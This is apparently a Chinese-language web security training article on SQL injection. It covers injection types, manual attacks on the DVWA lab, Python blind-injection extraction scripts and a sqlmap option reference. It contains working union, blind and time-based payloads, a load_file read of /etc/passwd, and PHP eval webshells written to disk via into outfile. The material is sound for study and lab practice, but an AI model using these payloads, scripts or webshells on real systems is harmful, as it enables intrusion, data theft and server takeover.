[紅日安全]Web安全Day1 - SQL注入實戰攻防

本文由紅日安全成員: Aixic 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式([email protected])聯繫我們。

1. SQL注入

1.1 漏洞簡介

結構化查詢語言(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用於數據庫中的標準數據查詢語言。1986年10月,美國國家標準學會對SQL進行規範後,以此作爲關係式數據庫管理系統的標準語言(ANSI X3. 135-1986),1987年得到國際標準組織的支持下成爲國際標準。不過各種通行的數據庫系統在其實踐過程中都對SQL規範作了某些編改和擴充。所以,實際上不同數據庫系統之間的SQL不能完全相互通用。

1.2 漏洞原理

可以通過網站存在的查詢語句進行構造,爲此開發者對其傷透了腦筋,漏洞不光是查詢,可能還存在與API、隱藏鏈接、http頭數據、寫入數據等。需要對數據包的結構和傳遞函數比較瞭解,建議學習的時候把數據庫的日誌打開,就可以查看到傳遞到數據庫的語句是什麼樣子的了。
需要記住的information_schema數據庫的SCHEMATA、TABLES、COLUMNS。
SCHEMATA表中存放所有數據庫的名,字段名爲SCHEMA_NAME。
關鍵函數database() 當前數據庫名、version() 當前mysql版本、user()當前mysql用戶.

1.3 漏洞危害

危害較高的漏洞,可以獲取敏感信息,修改信息,脫褲,上傳 webshell,執行命令。

2. SQL漏洞類型

2.1 區分數字和字符串

數字上是不加單引號的如’2’+‘2’=‘22’而非’4’
而2+2=4

2.2 內聯SQL注入

sql注入主要是靠內聯SQL來進行注入的
and or 與或非的判斷來進行內聯SQL注入,等於在原先的語句上擴展出來的語句

2.3 報錯注入

報錯注入顧名思義主要是利用數據庫報錯來進行判斷是否存在注入點。如果不符合數據庫語法規則就會產生錯誤。
常用的特殊字符:’ \ ; %00 ) ( # "

2.4 盲注

2.4.1 常用函數

1)函數length()
計算數據庫長度

id=1' and lengh(database())=8;

2)函數left(a)=b
sql的left()函數如果式子成立返回1如果不成立返回0

select left(database(),1)='r';

一般用來猜測庫的名字
3)函數substr()
substr()和substring()函數實現的功能是一樣的,均爲截取字符串。
substring(string, start, length)
substr(string, start, length)
length(可選)要返回的字符數。如果省略,則 mid() 函數返回剩餘文本

select substr(database(),1,1)='a';

可進行單字符驗證可進行全字符驗證
4)函數mid()
mid(string,start,length)
string(必需)規定要返回其中一部分的字符串。
start(必需)規定開始位置(起始值是 1)。
length(可選)要返回的字符數。如果省略,則 mid() 函數返回剩餘文本

select mid(database(),1)='testt';

可進行單字符驗證可進行全字符驗證

5)函數ascii()
返回字符串str的最左字符的數值。返回0,如果str爲空字符串。返回NULL,如果str爲NULL。 ASCII()返回數值是從0到255;
只會返回最左邊字符的可以配合substr()


6)ord函數
ORD() 函數返回字符串第一個字符的 ASCII 值。

7)函數updatexml()

updatexml(XML_document, XPath_string, new_value);

第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不瞭解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
在當前數據庫中演示

8)函數exp()
exp是以e爲底的指數函數。可能會存在溢出

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

由於數字太大是會產生溢出。這個函數會在參數大於709時溢出,報錯

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

2.4.2 布爾類型注入

如果成功注入會正確顯示內容,如果沒成功會顯示非正常內容。

2.4.3 無報錯回顯注入

沒有任何報錯顯示,但是能根據頁面是否正確顯示來進行判斷。如搜索注入沒有內容,正常搜索應該是有內容的。

2.4.4 時間注入

如果exp1爲true返回值爲sleep,如果爲假返回值爲1。ps:前提是網絡延遲較低的情況。。

if(length(database())>1,sleep(5),1)

2.5 堆疊查詢注入

通過分號隔開執行多條語句。

2.6 Union注入

前面不存在纔會執行後面的語句,一般配合的是布爾類型的盲注

2.7 二次注入

在存入數據庫的時候做了過濾,但是取出來的時候沒有做過濾,而產生的數據庫注入。

2.8寬字節注入

數據庫大多數爲GBK纔可以%df

2.9 cookie注入

cookie中的參數也有可能存在注入

2.10 編碼注入

Base64

2.11 XFF注入攻擊

X-Forwarded-for僞造客戶端IP

2.12 DNS_log

dnslog

2.13 組合注入

通過上述所有的注入方式進行組合攻擊,如union+盲注

3. SQL注入繞過

大小寫繞過
pathinfo配合dnslog
原本是id=1
變成1.txt?id=1

4. SQL數據庫種類

4.1 Access

本地訪問

4.2 MySQL

端口號:3306
需要記住默認庫information_schema和其中的表SCHEMATA、TABLES和COLUMNS
SCHEMATA 存儲的是用戶創建所有數據庫的庫名記錄數據庫庫名的字段爲SCHEMA_NAME,這就是爲什麼這條數據庫語句可以查詢到全部數據庫的原因
select schema_name from information_schema.schemata 查詢全部數據庫
select table_schema,table_name from information_schema.tables 查詢全部數據庫和表的對應
select column_name from information_schema.columns; 查詢全部列
select 列 from xxxx庫.xxx表; 查詢值

limit 後使用 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1) 這種方式觸發 sql 注入,受到 Mysql 版本的限制,其區間在 Mysql 5.1.5 - Mysql5.5 附近。

註釋符號:--空格,/ /內聯註釋,# Mysql–後面要加一個空格或者控制字符要不無法註釋
‘a’ ‘b’=‘ab’

4.3 SQLSever

端口號:1433
註釋符號:--,/ /註釋
‘a’+‘b’=‘ab’

4.4 Oracle

端口號:1521
註釋符號:--,/ /註釋
‘a’||‘b’=‘ab’

4.5 PostgreSQL

端口號:5432或者5433
註釋符號:--,/ /註釋
‘a’||‘b’=‘ab’

4.6 DB2

端口號:5000
SQLite
一種數據庫文件,特別小,就一個庫多個表,可用sqlite或者sqlite2打開

4.7 MongoDB

端口號:27017

5. SQL攻擊手段

5.1 數據庫提權

5.2 萬能密碼登陸

ASP站點’or’=‘or’

5.3 竊取哈希口令

5.4 數據庫Dump

5.5 讀寫文件

5.5.1 load_file()讀取文件操作

前提:
知道文件的絕對路徑
能夠使用 union 查詢
對 web 目錄有寫的權限
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路徑沒有加單引號的話必須轉換十六進制
要是想省略單引號的話必須轉換十六進制

5.5.2 into outfile 寫入文件操作

前提:
文件名必須是全路徑(絕對路徑)
用戶必須有寫文件的權限
沒有對單引號'過濾

select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile
'C:\phpStudy\PHPTutorial\WWW\8.php'

路徑裏面兩個反斜槓\可以換成一個正斜槓/
PHP 語句沒有單引號的話,必須轉換成十六進制
要是想省略單引號'的話,必須轉換成十六進制

<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
有時候得寫成
<?php eval(\$_POST["admin"]); ?>

建議一句話 PHP 語句轉換成十六進制

5.5.3 數據庫備份文件

6. 測試方法

6.1 手工測試

這裏我們採用DVWA靶場進行手工測試。

6.1.1 DVWA 簡介

DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。

6.1.2 DVWA 安裝

https://github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶機,放入www目錄下即可
環境使用PHP+MySQL即可。

6.1.3 測試過程

6.1.3.4 Low

(1)SQL Injection
其他難度主要是爲繞過手段。

判斷是否存在注入在這裏使用一個分號來進行擾亂數據庫

查看數據庫,發現命令沒有生效

使用%23來把後面的內個分號進行註釋,這裏不能使用#因爲#爲php的錨點不會傳遞到服務器。可以正常查詢

數據庫中發現#把後面的引號註釋掉了導致語句成功執行

利用這個特性來進行注入構造語句id=1'or 1=1%23因爲後面1=1爲真就會把全部的字段全部輸出出來。

改一下代碼顯示sql語句。

/var/www/html/www1/vulnerabilities/sqli/source在這個文件下有源碼在+一條echo $query

(2)堆疊注入

不知道爲何會報錯把這條語句複製下來在mysql命令行輸入沒有報錯正常顯示


(3)union注入

第一步先進行字段數量判斷order by xx

order by 3的時候出現了報錯說明爲2個字段代碼中也能體現,但是如果是滲透測試是看不見數據庫命令的只能通過這個去嘗試

得出2個字段後進行union注入id=1'union+select+1,2%23

1和2都顯示了說明都可以進行替換。

?id=1'union+select+table_schema,table_name from information_schema.tables%23把所有數據庫的庫和表都對應的顯示出來了。尋找需要的表

再去查字段?id=1'union+select+column_name,2 from information_schema.columns%23到最後找到屬於users表的字段

first_name,password再去構造查詢語句

?id=1'union+select+first_name,password from dvwa.users查詢到要拿到的內容了想想有沒有簡單的方法。

直接去查詢他的表對應的字段就簡單了

?id=1'union+select+table_name,column_name from information_schema.columns%23

所以只需要記住information_schema庫下的columns表中的字段就可以了庫是table_schema,表是table_name,字段是column_name


(4)SQL Injection(Bind)

盲注即爲不回顯內容需要進行嘗試根據頁面返回的內容是否正常來進行判斷

說明存在盲注

(5)內聯注入

直接用內聯注入簡單快捷。。

length(database())=xx來判斷數據庫名長度如果成立就會返回正常

說明數據庫名爲4位

1' and mid(database(),1,1)<'g'#使用mid來判斷數據庫第一位的內容只需要修改第二個標誌位來判斷位數如果爲正確就會返回存在ID

1' and mid(database(),2,1)='v'#

後面就省略了。之後會有腳本教學進行判斷

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 顯示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 顯示存在說明當前數據庫存在兩個表
1' and length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 顯示存在說明第一個表名字長度爲9
1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'# 顯示存在說明第一個表的第一個字爲g
1' and mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'# 顯示存在說明users表的第一個字段爲u
1' and mid((select first_name from dvwa.users limit 0,1),1,1)='a'#  顯示存在說明first_name的字段,第一個的數據爲a

時間盲注加個sleep就可以了

1' and if(length(database())=1,sleep(5),1) # 沒有延遲

1' and if(length(database())=2,sleep(5),1) # 沒有延遲

1' and if(length(database())=3,sleep(5),1) # 沒有延遲

1' and if(length(database())=4,sleep(5),1) # 明顯延遲

6.1.3.2 Medium

(1)SQL Injection

只做繞過不進行詳細測試。

發現只是改成了POST型,加了個過濾特殊符號的函數,改成了數字型注入。

成功注入

SQL Injection(Bind)

一樣就是改成了POST和過濾,數字型盲注。

正常繞過了

6.1.3.3 High

(1)SQL Injection

通過外部傳遞進來的session的id和限制一次只能顯示一行

繞過了limit的限制

成功注入

需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

SQL Injection(Bind)

跟上面差不多這個是Cookie的傳遞id,limit也是限制顯示一行

這個比顯示注入簡單些,直接能在cookie處修改注入

成功繞過

6.1.3.4 Impossible

(1)SQL Injection

做了個CSRF的防禦,使用了PDO進行了分離數據和參數

先判斷了一下id是否爲數字如果不爲數字直接就會跳過數據庫查詢,bindParam把id轉換爲int型,防止輸入的數字爲字符。進行查詢有效限制了惡意構造語句

(2)SQL Injection(Bind)

跟如上一樣

6.2 工具測試

繼續對DVWA靶場進行測試。

6.2.1 Python半自動化腳本

多用於盲注,這裏只演示盲注

6.2.1.1 注入數據庫名

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
url="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
    a=""
    for i in range(1,20):
        for j in payload:
            url1="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
            url_code_name = urllib.parse.quote(url1)
            #print(url1)
            try:
                rp = urllib.request.Request(url + url1 + end, headers=header)
                respon = urllib.request.urlopen(rp)
                html = respon.read().decode('utf-8')
                if "User ID exists in the database." in html:
                    a+=j
                    print(a)
                    break
            except:
                continue

6.2.1.2 查詢數據庫名

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        for i in range(1,20):
            for j in payload:
                #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
                try:
                    rp = urllib.request.Request(urlhead + url + end, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    if "User ID exists in the database." in html:
                        a+=j
                        print(a)
                        c = 0
                        break
                except:
                    continue
        c += 1

6.2.1.3 查詢數據庫的全部表

import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        for i in range(1,20):
            for j in payload:
                #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
                try:
                    rp = urllib.request.Request(urlhead + url + end, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    if "User ID exists in the database." in html:
                        a+=j
                        print(a)
                        c = 0
                        break
                except:
                    continue
        c += 1

6.2.1.4 查詢數據庫的表的全部字段

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        for i in range(1,20):
            for j in payload:
                #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
                try:
                    rp = urllib.request.Request(urlhead + url + end, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    if "User ID exists in the database." in html:
                        a+=j
                        print(a)
                        c = 0
                        break
                except:
                    continue
        c += 1

6.2.1.5 查詢字段數據

"""
@Product:DVWA 
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request

header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
    ,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
    a=""
    c = 0
    for k in range(0,20):
        a+="\r\n"+str(k)+":"
        if c==2:
            print("結束了")
            exit()
        for i in range(1,20):
            for j in payload:
                #url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                url="%27+and+mid%28%28select+first_name+from+dvwa.users+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
                #' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
                try:
                    rp = urllib.request.Request(urlhead + url + end, headers=header)
                    respon = urllib.request.urlopen(rp)
                    html = respon.read().decode('utf-8')
                    if "User ID exists in the database." in html:
                        a+=j
                        print(a)
                        c = 0
                        break
                except:
                    continue
        c += 1

6.2.2 SQLMAP

6.2.2.1 SQLMAP參數

(1)Options

-h, --help 查看幫助,沒什麼好說的
-hh 查看全部的幫助
--version 查看版本
-v 顯示信息的級別,一共有六級:0:只顯示python 錯誤和一些嚴重信息;1:顯示基本信息(默認);2:顯示debug信息;3:顯示注入過程的payload;4:顯示http請求包;5:顯示http響應頭;7:顯示http相應頁面。

(2)Target

-d 直接連目標後端接數據庫,而不是使用sql注入漏洞,直接通過目標的偵聽端口連接,當然需要有目標數據庫的賬號名和密碼。例:-d "mysql://user:[email protected]:3389/databasename" --dbs 查詢非常快。
-u 指定一個url連接,url中必須有?xx=xx 才行(最常用的參數)例:-u "www.abc.com/index.php?id=1"
-l 後接一個log文件,可以是burp等的代理的log文件,之後sqlmap會掃描log中的所有記錄。例: -l log.txt
-x 站點地圖,提交給sql一個xml文件。
-m 後接一個txt文件,文件中是多個url,sqlmap會自動化的檢測其中的所有url。例: -m target.txt
-r 可以將一個post請求方式的數據包保存在一個txt中,sqlmap會通過post方式檢測目標。例: -r post.txt
-g 使用google引擎搜索類似的網址,並且多目標檢測。例: -g "inurl:\".php?id=1\"" \是轉義
-c 將使用的命令寫在一個文件中,讓sqlmap執行文件中的命令,我們可以用--save命令將配置寫入文件。

(3)Request

--method=METHOD 指定是get方法還是post方法。例: --method=GET --method=POST
--data=DATA 指明參數是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--param-del=PARA. 指明使用的變量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
--cookie=COOKIE 指定測試時使用的cookie,通常在一些需要登錄的站點會使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
--cookie-del=COO.. 和前面的 --param-del=PARA. 類似,就是指明分割cookie的字符。
--load-cookies=L.. 從包含Netscape / wget格式的cookie的文件中加載cookie。
--drop-set-cookie 默認情況下,sqlmap是開啓set-cookie功能的,也就是當收到一個含有set-cookie的http包的時候,下次sql會使用新的cookie進行發包,如果使用這條命令,就會關閉這個功能。在level>=2時會檢測cookie注入。
--user-agent=AGENT 指定一個user-agent的值進行測試。例: --user-agent="aaaaaaa" 默認情況下,sqlmap會使用自己的user-agent進行測試(所以很多服務器發現user-agent是sqlmap的數據包直接認爲是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
--random-agent 使用隨機user-agent進行測試。sqlmap有一個文件中儲存了各種各樣的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入。
--host=HOST 指定http包中的host頭參數。例: --host="aaaaaa" 在level>=5時纔會檢查host頭注入。\n是換行
--referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3時纔會檢測refere注入。
-H --headers 額外的header頭,每個佔一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS 跟上邊一樣,再舉一個例子: --headers="Accept-Language: fr\nETag: 123" 注意所有構造http包的部分均區分大小寫
--auth-type=AUTH.. 基於http身份驗證的種類。例: --auth-type Basic/Digest/NTLM 一共有三種認證方式。
--auth-cred=AUTH.. 使用的認證,例: --auth-type Basic --auth-cred "user:password"
--auth-file=AUTH.. 使用.PEM文件中的認證。例:--auth-file="AU.PEM" 少見。
--ignore-code=IG.. 無視http狀態碼。例: --ignore-code=401
--ignore-proxy 無視本地的代理,有時候機器會有最基本的代理配置,在掃描本地網段的時候會很麻煩,使用這個參數可以忽略代理設置。
--ignore-redirects 無視http重定向,比如登錄成功會跳轉到其他網頁,可使用這個忽略掉。
--ignore-timeouts 忽略連接超時。
--proxy=PROXY 指定一個代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
--proxy-cred=PRO.. 代理需要的認證。例: --proxy="name:password"
--proxy-file=PRO.. 從一個文件加載代理的認證。
--tor 使用tor匿名網絡,不懂。
--tor-port=TORPORT 設置默認的tor代理端口,不懂+2。
--tor-type=TORTYPE 設置tor代理種類,(HTTP, SOCKS4 or SOCKS5 (默認)),不懂+3。
--check-tor 檢查是否正確使用Tor,不懂+4。
--delay=DELAY 每次發包的延遲時間,單位爲秒,浮點數。例:--delay 2.5 有時候頻繁的發包會引起服務器注意,需要使用delay降低發包頻率。
--timeout=TIMEOUT 請求超時的時間,單位爲秒,浮點數,默認30s。
--retries=RETRIES 超時重連次數,默認三次。例: --retries=5
--randomize=RPARAM 參數的長度,類型與輸入值保持一致的前提下,每次請求換參數的值。有時候反覆的提交同一個參數會引起服務器注意。
--safe-url=SAFEURL 用法和-u類似,就是一個加載測試url的方法,但額外功能是防止有時候時間長了不通訊服務器會銷燬session,開啓這種功能會隔一段時間發一個包保持session。
--safe-post=SAFE.. 和上面的一樣,只是使用post的方式發送數據。
--safe-req=SAFER.. 和上面的一樣,只是從一個文件獲得目標。
--safe-freq=SAFE.. 頻繁的發送錯誤的請求,服務器也會銷燬session或者其他懲罰方式,開啓這個功能之後,發幾次錯的就會發一次對的。通常用於盲注。
--skip-urlencode 跳過url編碼,畢竟不排除有的奇葩網站url不遵守RFC標準編碼。
--csrf-token=CSR.. 保持csrf令牌的token。
--csrf-url=CSRFURL 訪問url地址獲取csrf的token。
--force-ssl 強制使用ssl。
--hpp 使用http參數污染,通常http傳遞參數會以名稱-值對的形勢出現,通常在一個請求中,同樣名稱的參數只會出現一次。但是在HTTP協議中是允許同樣名稱的參數出現多次的,就可能造成參數篡改。
--eval=EVALCODE 執行一段指定的python代碼。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

(4)Optimization

-o 開啓下面三項(--predict-output,--keep-alive, --null-connection)
--predict-output 預設的輸出,可以理解爲猜一個表存在不存在,根據服務器返回值來進行判斷,有點類似暴力破解,但和暴力破解又不同,這個是一個範圍性的暴力破解,一次一次的縮小範圍。
--keep-alive 使用http(s)長鏈接,性能更好,避免重複建立鏈接的開銷,但佔用服務器資源,而且與--proxy不兼容。
--null-connection 只看頁面返回的大小值,而不看具體內容,通常用於盲注或者布爾的判斷,只看對錯,不看內容。
--threads=THREADS 開啓多線程,默認爲1,最大10。和 --predict-output 不兼容。
Injection
-p TESTPARAMETER 知道測試的參數,使用這個的話--level 參數就會失效。例: -p "user-agent,refere"
--skip=SKIP 排除指定的參數。例: --level 5 --skip="id,user-agent"
--skip-static 跳過測試靜態的參數。
--param-exclude=.. 使用正則表達式跳過測試參數。
--dbms=DBMS 指定目標數據庫類型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
--dbms-cred=DBMS.. 數據庫的認證。利: --dbms-cred="name:password"
--os=OS 指定目標操作系統。例: --os="Linux/Windows"
--invalid-bignum 通常情況下sqlmap使用負值使參數失效,比如id=1->id=-1,開啓這個之後使用大值使參數失效,如id=9999999999。
--invalid-logical 使用邏輯使參數失效,如id=1 and 1=2。
--invalid-string 使用隨機字符串使參數失效。
--no-cast 獲取數據時,sqlmap會將所有數據轉換成字符串,並用空格代替null。
--no-escape 用於混淆和避免出錯,使用單引號的字符串的時候,有時候會被攔截,sqlmap使用char()編碼。例如:select “a”-> select char(97)。
--prefix=PREFIX 指定payload前綴,有時候我們猜到了服務端代碼的閉合情況,需要使用這個來指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX 指定後綴,例子同上。
--tamper=TAMPER 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。

(5)Detection

--level=LEVEL 設置測試的等級(1-5,默認爲1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件內可以看見各個level發送的payload
--risk=RISK 風險(1-4,默認1)升高風險等級會增加數據被篡改的風險。risk 2:基於事件的測試;risk 3:or語句的測試;risk 4:update的測試
--string=STRING 在基於布爾的注入時,有的時候返回的頁面一次一個樣,需要我們自己判斷出標誌着返回正確頁面的標誌,會根據頁面的返回內容這個標誌(字符串)判斷真假,可以使用這個參數來制定看見什麼字符串就是真。
--not-string=NOT.. 同理,這個參數代表看不見什麼纔是真。
--regexp=REGEXP 通常和上面兩種連用,使用正則表達式來判斷。
--code=CODE 也是在基於布爾的注入時,只不過指定的是http返回碼。
--text-only 同上,只不過指定的是頁面裏的一段文本內容。
--titles 同上,只不過指定的是頁面的標題。

(6)Techniques

--technique=TECH 指定所使用的技術(B:布爾盲注;E:報錯注入;U:聯合查詢注入;S:文件系統,操作系統,註冊表相關注入;T:時間盲注; 默認全部使用)
--time-sec=TIMESEC 在基於時間的盲注的時候,指定判斷的時間,單位秒,默認5秒。
--union-cols=UCOLS 聯合查詢的嘗試列數,隨level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR 聯合查詢默認使用的佔列的是null,有些情況null可能會失效,可以手動指定其他的。例: --union-char 1
--union-from=UFROM 聯合查詢從之前的查詢結果中選擇列,和上面的類似。
--dns-domain=DNS.. 如果你控制了一臺dns服務器,使用這個可以提高效率。例: --dns-domain 123.com
--second-order=S.. 在這個頁面注入的結果,在另一個頁面顯示。例: --second-order 1.1.1.1/b.php

(7)Fingerprint

-f, --fingerprint 指紋信息,返回DBMS,操作系統,架構,補丁等信息。

(8)Enumeration

-a, --all 查找全部,很暴力。直接用-a
-b, --banner 查找數據庫管理系統的標識。直接用-b
--current-user 當前用戶,常用,直接用--current-user
--current-db 當前數據庫,常用,直接用--current-db
--hostname 主機名,直接用--hostname
--is-dba
--users 查詢一共都有哪些用戶,常用,直接用--users
--passwords 查詢用戶密碼的哈希,常用,直接用--passwords
